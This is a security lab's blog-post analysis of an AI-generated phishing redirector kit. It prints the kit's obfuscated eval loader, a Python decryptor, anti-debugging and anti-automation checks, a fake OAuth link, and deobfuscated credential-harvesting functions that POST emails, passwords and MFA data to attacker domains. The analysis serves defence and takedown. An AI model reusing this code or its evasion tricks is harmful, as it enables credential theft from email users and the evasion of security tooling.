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:883198:ZjNiNjA5MWE=&quot;.split(&quot;:&quot;);
const iz = bu[0];
const lp = bu[1];
const ca = bu[2];
const cj = parseInt(lp);
const vl = [0x02, 0x12, 0x0e, 0x04];
const ru = [0x63, 0x66, 0x61, 0x66];
const bb = ru.map( (rd, uo) => String.fromCharCode(rd ^ vl[uo])).join('');
const bx = this;
const nz = bx[bb](ca);
const qp = bx[bb](iz);
const mi = cj + nz.charCodeAt(0);
let mr = mi;
let oj = function() {
		mr = (mr * 9301 + 49297) % 233280;
		return mr / 233280;
};
let mz = &quot;&quot;;
for (let bl = 0; bl &lt; qp.length; bl++) {
		mz += String.fromCharCode(Math.floor(oj() * 256));
}
const vg = mz;
let np = cj + 99;
let iv = function() {
		np = (np * 9301 + 49297) % 233280;
		return np / 233280;
};
let jy = [];
for (let ij = 0; ij &lt; qp.length; ij++) {
		jy.push(Math.floor(iv() * 25) + 1);
}
const fk = jy;
let hi = &quot;&quot;;
for (let fq = 0; fq &lt; qp.length; fq++) {
		let kd = qp[fq];
		let bf = qp.charCodeAt(fq);
		if (/[A-Za-z]/.test(kd)) {
				const tb = kd &lt;= &quot;Z&quot; ? 65 : 97;
				bf = ((bf - tb - fk[fq] + 26) % 26) + tb;
		}
		bf = bf ^ vg.charCodeAt(fq);
		hi += String.fromCharCode(bf);
}
const yl = hi;
( () => {
		const wt = ['e', 'v', 'a', 'l'];
		const qm = wt[0] + wt[1] + wt[2] + wt[3];
		const zr = [null];
		zr.find(function() {
				this[qm](yl);
				return false;
		}, Function('return this')());
}
)();</code></p><p><b>We want to stress that the code you are seeing is unedited on our part. </b></p><p>It feels like someone <i>tried</i> to obfuscate this code at least. We basically have some base64 that is being &quot;encoded&quot; with a log-based psudorandom number generator (PRNG) that we need to decode into its second stage. If you are not a security researcher, this would be a fantastic beginner capture the flag (CTF) challenge. If that sounds fun feel free to try to decode this yourself and compare your result with ours.
</p><p><code>lang:python
# We use python because we don't have to write actual code when pseudocode works :)
from base64 import b64decode
import re

encoded = &quot;/JAoXMH...&quot;
iz, lp, ca = encoded.split(&quot;:&quot;)

def log_prng(seed):
    while True:
        seed = (seed * 9301 + 49297) % 233280
        yield seed / 233280.0

payload = b64decode(iz).decode(&quot;latin1&quot;)
key_frag = b64decode(ca).decode(&quot;latin1&quot;)
cj = int(lp)
mi = cj + ord(key_frag[0])
oj = log_prng(mi)
vg = &quot;&quot;.join(chr(int(next(oj) * 256)) for _ in range(len(payload)))
iv = log_prng(cj + 99)
fk = [int(next(iv) * 25) + 1 for _ in range(len(payload))]

result_chars = []
for i, ch in enumerate(payload):
    bf = ord(ch)
    if re.match(r&quot;[A-Za-z]&quot;, ch):
        tb = 65 if ch &lt;= &quot;Z&quot; else 97
        bf = ((bf - tb - fk[i] + 26) % 26) + tb
    bf ^= ord(vg[i])
    result_chars.append(chr(bf))

print(&quot;&quot;.join(result_chars))</code></p><p>Tada! We now have decrypted the next stage of this payload. This looks like yet another JavaScript program that tries to check whether there are threat hunters thrunting up the place. Let's take this file in steps and see who they are trying to prevent.</p><p><code>lang:javascript
const bolFPhkDYT = typeof globalThis !== 'undefined' ? globalThis : window;
const wkTsXlfbSS = bolFPhkDYT[&quot;navi&quot; + &quot;gator&quot;];

if (
    wkTsXlfbSS[&quot;web&quot; + &quot;driver&quot;] ||
    bolFPhkDYT[&quot;call&quot; + &quot;Phantom&quot;] ||
    bolFPhkDYT[&quot;_phantom&quot;] ||
    wkTsXlfbSS[&quot;user&quot; + &quot;Agent&quot;].includes(&quot;Burp&quot;)
) {
    bolFPhkDYT[&quot;loca&quot; + &quot;tion&quot;] = &quot;about:blank&quot;;
}</code></p><p>Here the payload is checking if the browser loading the page is used for automation and or sleuthing: Selenium / Puppeteer, PhantomJS, and Burp. If that happens, the page sets the window to about:blank</p><p><code>lang:javascript
bolFPhkDYT[&quot;docu&quot; + &quot;ment&quot;][&quot;addEventListener&quot;](&quot;key&quot; + &quot;down&quot;, function (VnyzCnFEKo) {
  function nQrKiusaQo(tgboOAXwXK) {
    const CHonLxVLew = [
      { keyCode: 123 },
      { ctrl: true, keyCode: 85 },
      { ctrl: true, shift: true, keyCode: 73 },
      { ctrl: true, shift: true, keyCode: 67 },
      { ctrl: true, shift: true, keyCode: 74 },
      { ctrl: true, shift: true, keyCode: 75 },
      { ctrl: true, keyCode: 72 },
      { meta: true, alt: true, keyCode: 73 },
      { meta: true, alt: true, keyCode: 67 },
      { meta: true, keyCode: 85 }
    ];
    return CHonLxVLew.some(pFrcfSZnFE =>
      (!pFrcfSZnFE.ctrl || tgboOAXwXK.ctrlKey) &amp;&amp;
      (!pFrcfSZnFE.shift || tgboOAXwXK.shiftKey) &amp;&amp;
      (!pFrcfSZnFE.meta || tgboOAXwXK.metaKey) &amp;&amp;
      (!pFrcfSZnFE.alt || tgboOAXwXK.altKey) &amp;&amp;
      tgboOAXwXK.keyCode === pFrcfSZnFE.keyCode
    );
  }

  if (nQrKiusaQo(VnyzCnFEKo)) {
    VnyzCnFEKo[&quot;preventDefault&quot;]();
    return false;
  }
});

  bolFPhkDYT[&quot;docu&quot; + &quot;ment&quot;][&quot;addEventListener&quot;](&quot;context&quot; + &quot;menu&quot;, function(RyVHaoZPvj) {
    RyVHaoZPvj[&quot;preventDefault&quot;]();
    return false;
});</code></p><p>Next the payload attempts to prevent the user from accessing various browser tools to inspect what's going on:</p><ul><li><p>F12 for developer tools</p></li><li><p>Ctrl+U &amp; Cmd+U is view source </p></li><li><p>Ctrl+Shift+I &amp; Cmd+Option+I is DevTools </p></li><li><p>Ctrl+Shift+C &amp; Cmd+Option+C inspects the element</p></li><li><p>Ctrl+Shift+J is console </p></li><li><p>Ctrl+Shift+K is DevTools sources</p></li><li><p>Ctrl+H is history</p></li></ul><p>The last piece of this section disables the context menu and prevents the user from right clicking.</p><p><code>lang:javascript
document.addEventListener('DOMContentLoaded', function() {
    var tm = (navigator.platform || '').toLowerCase();
    var gg = (navigator.userAgent || '').toLowerCase();
    var f = tm.indexOf('linux') !== -1 &amp;&amp; gg.indexOf('android') === -1;

    if (f) {
        document.write(&quot;&quot;);
    } else {
        setTimeout(function() {
            ju();
        }, 150);
    }
});</code></p><p>This section deals with OS detection. If it's a Linux box other than Android the page will be cleared. Otherwise, the page waits 150ms and calls the <code>ju()</code> function below.
</p><p><code>lang:javascript
dGmqBFgJCX = false;

  (function eHeNiLgvEQ() {
    let jbMbrfXRpA = false;
    const UzPQdLTpjZ = 100;

    setInterval(() => {
        const zIloNnysKc = performance[&quot;now&quot;]();
        debugger;
        const gwUgKNgijq = performance[&quot;now&quot;]();

        if (gwUgKNgijq - zIloNnysKc > UzPQdLTpjZ &amp;&amp; !jbMbrfXRpA) {
            dGmqBFgJCX = true;
            jbMbrfXRpA = true;
            bolFPhkDYT[&quot;location&quot;][&quot;replace&quot;](&quot;https://www.shopify.com&quot;);
        }
    }, 100);
})();</code></p><p>Next the kit creates the <code>dGmqBFgJCX</code> variable to determine whether it should redirect the user or not. Essentially it's a flag whether this connection is believed to be a human or a bot.</p><p>The first check is an attempt to determine if the debugger is running. It assumes that the debugger call will take longer when the devtools are open, since this <code>debugger;</code> call should act as a breakpoint. This comparison checks whether the two timestamps are more than 100ms apart and if so replace the location with an innocuous destination instead. Often we saw fake websites for construction companies, mexican restaurants, or random templated &quot;business&quot; websites. </p><p>What seems to have eluded this attacker (or their LLM) is that a breakpoint like <code>debugger;</code> is in fact a breakpoint... so all the lines from <code>const gwUgKNgijq</code> are never executed if the devtools are still open, and this would do the opposite of what was intended. Doubly so, <code>jbMbrfXRpA</code> is seemingly not used for anything, and is never called again, so it's safe to assume that whatever robot produced this was starting to hallucinate or the person who prompted this didn't bother reading it.</p><p><code>lang:javascript
function bg() {
    window.location.replace('https://www.shopify.com');
    var vn = document.currentScript;
    vn.parentNode.removeChild(vn);
}</code></p><p>This seems to try to remove the <code>&lt;script></code> element from the DOM to hide the redirect.</p><p><code>lang:javascript
function ju() {
    if (dGmqBFgJCX == false) {
        let formData = new FormData();
        formData.append('bltpg', 'xDX7Z2');
        formData.append('sid', 'ej11VSMZbt6LBql1L6je5EE6zO5NbYFIuBzxiEbS');
        var e = &quot;../oguH93rLfMaTCX7aJ3anmG33YT2OOTUZyJUsw&quot;;
        fetch('https://sand.deabeayea.today/mori$nuioyuey', {
                method: &quot;GET&quot;,
            }).then(response => {
                return response.text()
            }).then(text => {
                if (text == 0) {
                    if (dGmqBFgJCX == false) {
                        fetch(e, {
                            method: &quot;POST&quot;,
                            body: formData
                        }).then(response => {
                            return response.json();
                        }).then(data => {
                            if (data['status'] == 'success') {
                                location.reload();
                            }
                            if (data['status'] == 'error') {
                                bg();
                            }
                        });
                    }
                }
                if (text != 0) {
                    bg();
                }
            })
            .catch(error => {
                bg();
            });
    }
}</code></p><p>Given that the <code>dGmqBFgJCX</code> variable is false so long as this redirector does not detect a debugger, this next block should be the case we are interested in. We can see it does the following:</p><ol><li><p>Send a Get to <code>https://sand.deabeayea.today/mori$nuioyuey</code> and look for a <code>0</code> response. We can assume that it's doing some form of logging of what attempted to hit it.</p></li><li><p>If the <code>0</code> String was returned we do a POST to the relative URL <code>../oguH93rLfMaTCX7aJ3anmG33YT2OOTUZyJUsw</code> with the following FormData: <code>{&quot;bltpg&quot;: &quot;xDX7Z2&quot;, &quot;sid&quot;: &quot;ej11VSMZbt6LBql1L6je5EE6zO5NbYFIuBzxiEbS&quot;}</code> and responses that contain <code>{&quot;status&quot;:&quot;success&quot;}</code> cause a page reload. The form data is likely either tracking tokens, or an attempt at preventing data leaks from random POSTS.</p></li></ol><p>Yikes! That’s a lot of checks. Now that we now know happen before the page reloads. Let's simply grab the page contents from the DOM and wade into the next layer of slop.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3sxFEraKhbVtWN91Kzd7S9/38a8973d227c7680b7bd07f218bed149/Pasted_image_20251027095431.png" alt="QuantumRedirect_Phish_Landing" style="max-width:100%;"/><p>Finally, the phishing site we were looking for from the beginning!</p><p>Assuming this payload made by the same person (or LLM) as the redirector, we can grab the page contents by either accessing the page with the debugging tools open and waiting for their conveniently placed <code>debugger;</code> breakpoint, or we can use a myriad of other tools to gather the contents. We will want to inspect the specific behavior when we hit the &quot;Next&quot; button on this page:
</p><p><code>lang:html
&lt;div class=&quot;text-right&quot;>
	&lt;button type=&quot;button&quot; class=&quot;btn rounded-0 text-white px-4&quot; id=&quot;next&quot; style=&quot;background-color:#0066ba;cursor:pointer&quot; onclick=&quot;checkEmail()&quot;>Next&lt;/button>
&lt;/div>
...
&lt;div style=&quot;text-align:center&quot;>
	&lt;button type=&quot;button&quot; class=&quot;btn text-white px-4&quot; id=&quot;sub-btn-hotmail&quot; style=&quot;background-color:#0066ba;cursor:pointer;border-radius:5px;font-weight:510;top:-25px;height:38px;left:5px;width:100%&quot; onclick=&quot;submitPass()&quot;>
		&lt;span>Next&lt;/span>
	&lt;/button>
&lt;/div></code></p><p>We see some simple HTML that shows when the &quot;Next&quot; button is initially clicked, the browser makes the <code>checkEmail()</code> call. Then eventually another call to gets made with <code>submitPass()</code>. Every other link on the page we see links to the following URL which we can see mimics Oauth 2.0 parameters:
</p><p><code>https://payoffs.heart-shaped.com.de/UegwH/?client_id=b14b5e83-609b-4571-ba14-f48898b77365&amp;amp;redirect_uri=https%253A%252F%252Fwww.office.com%252Flandingv2&amp;amp;response_type=code%2520id_token&amp;amp;scope=openid%2520profile%2520email%2520offline_access%2520https%253A%252F%252Fgraph.microsoft.com%252Fmail.read%2520https%253A%252F%252Fgraph.microsoft.com%252Fmail.send&amp;amp;nonce=tqNMsW4k2KlZeo40Tiu9NlJR5W4s2hdy#</code></p><p><code></code></p><ul><li><p>client-id: b14b5e83-609b-4571-ba14-f48898b77365</p></li><li><p>redirect_uri: https://www.office.com/landingv2</p></li><li><p>response_type: id_token</p></li><li><p>scope: openid profile email offline_access https://graph.microsoft.com/mail.read https://graph.microsoft.com/mail.send</p></li><li><p>nonce: tqNMsW4k2KlZeo40Tiu9NlJR5W4s2hdy</p></li></ul><p>This allows the attacker to bail out to a legitimate site if something does not go according to their plan. Just in a way that is more convoluted than a simple link that may alert the taget. This may look like a valid Oauth link, but has two pieces of the flow reveresed, the <code>redirect_uri</code> would need to point to a malicious application, and the root domain would need to point to a valid Microsoft domain that would authorize the malicious app. If you would like to learn more about how Oauth can be used in phishing campaigns check out <a href="https://techcommunity.microsoft.com/blog/microsoft-entra-blog/oauth-consent-phishing-explained-and-prevented/4423357">Microsoft's Documentation on the subject</a>.

Let's dig deeper into the <code>checkEmail()</code> and <code>submitPass()</code> functions. They are not included on the HTML, but appear to be included from a secondary import <code>bootstrap.min.js</code> Here is a snippet of that file:</p><p><code>lang:javascript
function checkEmail() {
    var _0x4d6ea7 = _0x51035e
      , _0x181488 = {
        'BRHMs': function(_0x4ad217, _0x23ed7f) {
            return _0x4ad217 &lt;= _0x23ed7f;
        },
        'bJCEU': function(_0xd14409, _0xf1ec2e) {
            return _0xd14409(_0xf1ec2e);
        },
        'bcsvr': function(_0x2f9b90, _0x36fd8e) {
            return _0x2f9b90(_0x36fd8e);
        },
        'HoxeX': _0x4d6ea7(0x1773),
        'TMzGY': _0x4d6ea7(0x25fb) + _0x4d6ea7(0x10c9),
        'qvcSI': function(_0x17ccc6, _0x13565b) {
            return _0x17ccc6 == _0x13565b;
        },
        'JCQLr': _0x4d6ea7(0x2e03),
        'JlSnF': _0x4d6ea7(0x1d05),
        'JHbXC': _0x4d6ea7(0xa45),
        'OjYSf': _0x4d6ea7(0x1991),
        ...</code></p><p>Goodness! It looks like our attacker finally learned how to obfuscate a JavaScript file. Hats off…</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4IJlGpM0MqnSFYQDw9716a/1ebbad09d46eff2fe218911aced063d7/congratulations.gif" alt="QuantumRedirect_Congratulations" style="max-width:100%;"/><p>Anyway, we trivially deobfuscate the file and see the following function:</p><p><code>lang:javascript
function checkEmail() {
  var _0x13be3a = $(&quot;#ai&quot;).val();
  var _0x25fd5a = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  if (!_0x25fd5a.test(_0x13be3a)) {
    $(&quot;#error&quot;).show();
    ai.focus;
    return false;
  }
  $.ajax({url: atob(&quot;aHR0cHM6Ly8xOTU0NzUxOTAzLmN5b3UvZ29vZ2xlLnBocA==&quot;), cache: false, type: &quot;POST&quot;, data: &quot;do=check&amp;email=&quot; + _0x13be3a, dataType: &quot;json&quot;, success: function (_0x2c6f84) {
    if (_0x2c6f84.status == &quot;error&quot;) {
	    ...
      $(&quot;#error&quot;).show();
      $(&quot;#pr&quot;).focus();
      ai.focus;
    } else {
      if (_0x2c6f84.status == &quot;success&quot;) {
        if (_0x2c6f84.type == &quot;hotmail&quot;) {
          hotmail = true;
          $(&quot;#hmail&quot;).html(_0x13be3a);
          $(&quot;#prthotmail&quot;).animate({right: 0, opacity: &quot;show&quot;}, 0);
          $(&quot;#prhotmail&quot;).focus();
          $(&quot;#signOptions&quot;).hide();
        } else {
          hotmail = false;
          $(&quot;#aich&quot;).html(_0x13be3a);
          $(&quot;#pr&quot;).focus();
        }
      }
    }
    $(&quot;#next&quot;).html(&quot;next&quot;);
  }});
}

</code>We can take note of some immediately useful things here:</p><ul><li><p>They are obfuscating their URL collection sites with base64 <code>atob</code></p></li><li><p>They are checking whether they are getting garbage input with a regex</p></li><li><p>They have some secondary auth checks built into this phishing site</p></li></ul><p>Let's continue by grabbing the <code>submitPass()</code> function and checking that as well. For the sake of brevity, we will only include useful context; we too have grown weary from all the slop.</p><p><code>lang:javascript
function submitPass() {
  $.ajax({dataType: &quot;JSON&quot;, url: atob(&quot;aHR0cHM6Ly8xOTU0NzUxOTAzLmN5b3UvZ29vZ2xlLnBocA==&quot;), type: &quot;POST&quot;, data: &quot;do=login&amp;user=&quot; + _0x4546b4 + &quot;&amp;pass=&quot; + btoa(encodeURIComponent(_0x2c15f2)), beforeSend: function (_0xcdc4b1) {
  }, success: function (_0x108ea7) {
    ...
      if (_0x108ea7.status == &quot;verify&quot;) {
      ...
              if (_0x5c7b6c.authMethodId == &quot;PhoneAppNotification&quot; || _0x5c7b6c.authMethodId == &quot;CompanionAppsNotification&quot;) {
              if (_0x5c7b6c.authMethodId == &quot;PhoneAppOTP&quot;) {
              if (_0x5c7b6c.authMethodId == &quot;OneWaySMS&quot;) {
              if (_0x5c7b6c.authMethodId == &quot;TwoWayVoiceMobile&quot; || _0x5c7b6c.authMethodId == &quot;TwoWayVoiceOffice&quot;) {
      ...
        } else {
            if (_0x83a98c.type == &quot;notif&quot;) {
              pageHotmailAppNotif(email, _0x83a98c.code);
            } else {
              if (_0x83a98c.type == &quot;code&quot;) {
                pageHotmailOTPApp(email);
              } else if (_0x83a98c.type == &quot;list&quot;) {
                pageListOTPHotmail(email);
      ...
      } else if (_0x108ea7.status == &quot;success&quot;) {
        window.location.replace(_0x108ea7.redirect);
      }
...</code></p><p>From here we can see they have functionality for various forms of secondary auth and the same base64 encoded domain to post credentials to.</p><p><code>https://1954751903[dot]cyou/google.php</code></p><p>Unfortunately for us, our work is not done. We need to take the time to identify these redirectors in the wild and start taking them down. With our efforts as well as contributions from <a href="https://www.onlyscans.com/">OnlyScans</a> we identified several hundred &quot;Quantum Redirectors&quot; and used some of the bypasses we mentioned here to gather and document their “human redirect payload sites, which you can find in the IoC section below. Almost all of the spoofed pages were for email services. We have already begun coordinating with our federal governmental contacts with these IoCs in order to help them burn down this AI slop infrastructure.</p><p>We here at Beazley Security Labs wish to provide you with a happy conclusion to this story, and in a world that keeps getting dumber and chaotic, it's worth reminding you all that that despite the growing amount of garbage that threat actors continue to push out to people, you have agency to do something about it. Often it seems like there are people who are leagues ahead of you in terms of technical expertise. Fortunately for us as long as attackers are using slop to cut corners, we will have a robust amounts of practice of the fundamentals. There has never been a better time to get started, and there is plenty of work yet to be done.
</p><h3>Bonus Decryptor!</h3><p>
The redirector obfuscation we wrote a python decryptor for appears in most of the samples. However, during our efforts in enumerating these redirectors we have found another pattern that we want to discuss here in case you find it yourself:</p><p><code>
lang:html
&lt;html lang=&quot;en&quot;>
    &lt;head>
        &lt;meta charset=&quot;UTF-8&quot;>
        &lt;title>latency&lt;/title>
        &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;>
        &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;>
        &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js&quot;>&lt;/script>
    &lt;/head>
    &lt;body>
        &lt;div id=&quot;oIvGt&quot;>&lt;/div>
        &lt;script>
            var wmKh = &quot;omULliQzg1JzyX3fOcB7\/IiE0gDVeHv8VuhMV4gYvZriDoKuLMNuVBuJurDukVEJ6EqPpWsKN1uYHHPSPIhMNOKPtW6XruLP8aiNuqg8u4kSRiQC6gr99VbAqON7eMxAOLLG\/kZC1epdUx33+bNhZIV+MRCo6PrekqPlDn1tlUpClihMv8Jgu6D6EGJ7sg63ORIsO9MSa6Z4GvEDMG\/NbhdfjnZKTXjPxUZ89k6IB+LpbwNQcuCHQO+eMU0QN5fDHvhpEQzUQG\/NBD2fc47wQ+e+R9C6lTj70x9iLTW6SYc2SJh3ewGSOTvdpMaf1PFLgemCq2BTQMEk7MT4CBfIq+vQFuDB4REtHYzNKlKuYgDt8rprE6c13nYcMLsuoc7Gq\/5wHw7DL\/2QRTXKcSezoBBCe0szaeQmFNVa0AJiNcOTHiCV3gleAE5N1jQVto0rbrQzdqh34ucNcU53XtgH0r+eru2JdoumkRW64A4JVFf1z04VwdKpYI3dSNLPsUpnLtzoh&quot;;
        &lt;/script>
        &lt;script>
            var fgnd = &quot;CZcmPuHEtGWAXjkS03qals8suNS5ZxGE05kt6aNIYyRAMNYmXANgjKOvnBkuTbJ7So3q+CUA46AGRpZzJaOCoNeY3+Xnk\/HZ7\/QKA+aUbEkYDgdMXG4e2oSg4dkYOYkoDv8Ys9foOY3MT09eu1Y7fODD6eMf16tKMTwV1XFcUgZghj\/te7NzcZbpkJhXeZShcnSonul9VlA3Sio+X4reDpJqrYWnNxPnkiGL6t+FXoow64nF3JtracdOQfIGb9FWZVumI7xc5ddqwIvDytc0+7qhlHislsSfzMEMwgXHvdBSEzLW6g8evcZvbTKTBxM70iwiEltpnQN8lZmdhE9nWFgN7xcAjSo\/qKqw9LUyVaQz\/Phaq3GTYlpvI5AWV3uBaSA9DawDuyN1GTTg+iUxYFmPuUu6ZnXMCIjIZiDuyf3chVpC6RcJTQYOvG9fdr6IyyKnahH2\/cJ3l1V0Tpnflu1jRRd7gWwMgXJ3yrQ7gggILH9Pu64MTFNoyJ7doPZlGZOtK&quot;;
        &lt;/script>
        &lt;script>
            var qdIM = &quot;5gkIP5+vpaEkTcRkWYmDr2MZ64SR8XLQusZ+sPmffnigoso69BDga94sPf9PZ9PHQ8cXFpzLHcASTS3G12XmutwXieGMzpvUBY1p8BdSaJaHGa47uwFBPeMuQEtO7+wG7kpoWMJIjx698SghDFTa61ia5pnXAbQ05e6ooF1vVh8ydT4oAR3O00T17vzTTxCMsDo9VsCQC8+6KE2DM4YhAQEFOanEJsm5vkNG7mocXld94yPirfHN0rIeVTe7rI+DyNeOwMDc+YB02oq1KCPgR3dkKsx1ZjxJkXc\/jsKgtYSGto+P\/t5814MIpwKj9tfozN2F2NR1MevS+wyZYrj9on7etreYeng+cVk8bVSak8a7ZshwEPNbYH1gvrtI5VCd4aFo9wmZOFCG7QlzY8ZoVssdcPGHeMkEPWrqkHxwFEATjTPkpgIYAKhNv8A7Vu4z33q0cu9Pn2EshdgWsnSOQLW2u4SPF8m7H9k0pHbpD3AlQHBsuVJHa\/axa0WAPR24o47Lm&quot;;
        &lt;/script>
        &lt;script>
            var hkah = &quot;ms1kKwMpBSmY9zCUYmUUVVx892roZQ9YP97woM6vXwTrB8zodhap2O6WgpzzAi7KrjHsX+aUbNixzyn2bQSSgcJ6MHucjg0IrQkdRGmNvmJJqSBosD4vuQA5GwLQ2zdOnnTIQN9rN5JVScXD4ZPon3\/sjdheHOCN4ZMFxCiUN3HYHI23CGvdsRGotD\/UCNbc4XifyAKrcts18HdZH\/ZXF2ku7iYFpcv3T7UnE87ovUy3ocQ9IUv8W5kgFzNkLYa92kHH0\/c7GJsrMwVF3vPIIdUh9L8C64svYaweI\/por47cAv7ioB2BM+AfT2An\/8GOQw4MmyFyHxQeNI7l6LKF\/pJQsyzuDc1Fhxd6EWgFyh3yyUDfRhECRsfqInbzHqdlAfZ+es\/hmBOqdaktFxAO9aZ4D3n9VTlqlkmVbtk0exDy7lUCxL43CP8BC2Q4WOut+wQGue6gz33MnYWGrOSYutCH8BocZBdHoioSSvWWMDag8ASyXTG6ltvC\/cLuVhfNGTCLR&quot;;
        &lt;/script>
        &lt;script>
